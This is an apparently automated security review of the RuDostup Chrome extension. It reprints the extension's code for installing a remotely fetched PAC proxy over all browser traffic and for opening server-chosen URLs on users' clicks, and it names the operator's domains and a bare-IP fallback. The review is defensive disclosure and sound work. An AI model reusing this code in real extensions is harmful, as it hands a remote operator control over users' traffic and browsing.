Is RuDostup — Обход блокировки YouTube в Северной Корее safe?

Medium risk

RuDostup fetches a remote proxy script from ytprx.ru and routes all of the user's browser traffic through a server-controlled proxy.

On startup and on every page navigation, the extension contacts ytprx.ru and installs the PAC (proxy auto-config) script it returns browser-wide, so every site you visit can be directed through the operator's servers, not just YouTube. The proxy rules are re-fetched continuously and can be changed remotely at any time, and if the secure endpoint is unreachable the extension falls back to fetching the same configuration over plaintext HTTP from a hardcoded IP. The server response also drives extra behavior, including injecting a remotely-configured iframe into the YouTube watch page, opening server-supplied URLs in new windows on certain sites, and writing unsanitized HTML into the extension's own popup.

RuDostup.ruv1.2.2Chrome Web Store
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Server-Controlled PAC Script Routes All Browser Traffic via Remote Proxy

CriticalunwantedCWE-506Dynamic sandbox

The service worker contacts ytprx.ru on every startup and navigation.

What actually happens

You did this

You install the extension or navigate to a new page in your browser.

The extension did this

The extension contacts ytprx.ru, receives a JavaScript proxy ruleset, and installs it as the active proxy configuration for all browser traffic, with no user notification.

The proxy scope is 'regular', which applies to every website the browser visits, not only YouTube-related traffic.

The code that does this

The proxy installation function and its remote-config trigger

Readable version

proxyConnect — applies server-supplied PAC data

sw.js
async function proxyConnect(pac){	var config = {	  mode: "pac_script",	  pacScript: {	    data: pac	  }	};				await chrome.proxy.settings.set(		    {value: config, scope: 'regular'},		    function() {});		    }

Condition that activates the proxy (inside runDostup)

sw.js
if(text.proxy.active) {	await chrome.proxy.settings.get(	{'incognito': false},		async function(config) {					let toconnect = false;						try			{					if(config.value.pacScript.data != text.proxy.pac ) toconnect = true;			}			catch(e) { toconnect = true; }						if(toconnect) await proxyConnect(text.proxy.pac);									}	);} else {	await proxyDisconnect();}

Navigation listener — re-polls server on every page load

sw.js
chrome.webNavigation.onBeforeNavigate.addListener(async ({ parentFrameId }) => {	if (parentFrameId != -1) return;		runDostup();});

What the extension sends to ytprx.ru/sttt.php on each poll

  • Extension version
    1.2.2

    The installed extension version string, sent on every request.

  • Partner voucher code
    partner

    A partner/affiliate attribution token stored in local storage and sent with every poll.

  • Disagreed flag
    true

    Whether the user has acknowledged a terms-of-service dialog inside the extension.

Endpoints involved in proxy configuration

    • ytprx.ru

    Primary command-and-control endpoint. Supplies the PAC JavaScript, the site-injection list, and the popup redirect URL on every poll.

    • 45.82.254.40

    Bare-IP fallback endpoint (port 8900) contacted when ytprx.ru is unreachable. No TLS on the fallback path (mode: 'no-cors', HTTP).

    • report.ytprx.ru

    Receives host-reachability reports: when the extension cannot reach a test URL supplied by the server, it POSTs the hostname to this endpoint.

When this fires

On every browser startup

runDostup() fires once at service-worker startup (sw.js:359) and again on every top-level page navigation (chrome.webNavigation.onBeforeNavigate). On an active browser session this means the PAC configuration is refreshed continuously with no minimum interval.

Server-Designated Sites Trigger Remote-URL Popup on First Mouse Click

MediumunwantedCWE-829Dynamic sandbox

On server-listed sites, the extension intercepts your first mouse release and opens a window to a URL chosen by ytprx.ru.

What actually happens

You did this

You visit a website whose hostname matches a server-supplied pattern and release the mouse button.

The extension did this

A new browser window opens to a URL supplied by the ytprx.ru server, without any prompt or disclosure.

The destination URL, the list of gated sites, the per-session snap count cap, and the time window are all values the server can change at any time.

The code that does this

The mouseup handler that opens the remote URL

Readable version

addDisclamer — injected into matching pages

sw.js
async function addDisclamer(tog, lim, hours, pechenka) {	// tog = server-supplied target URL (disclamer.gate)	// lim = server-supplied snap count cap (disclamer.lim)	// hours = server-supplied cooldown hours (disclamer.wait)	// pechenka = per-user snap state from chrome.storage.local	var PechenkaShow = function() {		if (!check) {			check = true;			var snapsCount = pechenka.snaps?.val ?? 0;			var newCount = (snapsCount == null) ? 1 : parseInt(snapsCount) + 1;			// ... update pechenka state in chrome.storage.local ...			// Open server-supplied URL in new window when snap count > 1			if (newCount > 1)				window.open(tog, '_blank', 'width=...,toolbar=1,...');		}	}	document.body.onmouseup = function () {		if (snapsCount < lim && !snapCooledDown)			PechenkaShow();	};}

onDOMContentLoaded — gating check against server-supplied site list

sw.js
// Fires on every top-frame DOMContentLoaded// Checks if current URL matches server-supplied regex (appStore.sites)// If it does, injects addDisclamer with the server-supplied gate URL and capsvar sitePattern = new RegExp('^http[ps]+:\/\/(' + appStore.sites + ')\/', 'i');if (sitePattern.test(url) && appStore.disclamer) {	chrome.scripting.executeScript({		target: { tabId },		func: addDisclamer,		args: [appStore.disclamer.gate, appStore.disclamer.lim, appStore.disclamer.wait, appStore.pechenka]	});}

What's stored on your device

The server writes these each poll. 'disclamer.gate' is the popup URL; 'sites' is the regex deciding whether to inject the handler.

Location
chrome.storage.local keys: disclamer, sites
Contents
{  "sites": "youtube\\.com|vk\\.com|ok\\.ru",  "disclamer": {    "lim": 3,    "gate": "https://ytprx.ru/redirect?r=some-affiliate-url",    "wait": 24  }}

Server that controls the popup destination

    • ytprx.ru

    Supplies disclamer.gate (the URL the popup window opens), the site-match regex, the snap-count cap, and the cooldown period. These values can be changed server-side at any time.

What it can do

Permissions this extension asks for, as declared in version 1.2.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Store data in your browser

    storage

  • Route all of your browsing through a server of its choosing

    proxy

  • Run its own code inside the pages you visit

    scripting

Where it sends data

Destinations our analysis observed RuDostup — Обход блокировки YouTube в Северной Корее contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • 45.82.254.40

    RuDostup — Обход блокировки YouTube в Северной Корее sends data to 45.82.254.40. No other extension we have analyzed sends data here.

  • ytprx.ru

    RuDostup — Обход блокировки YouTube в Северной Корее sends data to ytprx.ru. No other extension we have analyzed sends data here.

Updated 30 September 2026pblihioifhoagjnimnpemflllkeigeoi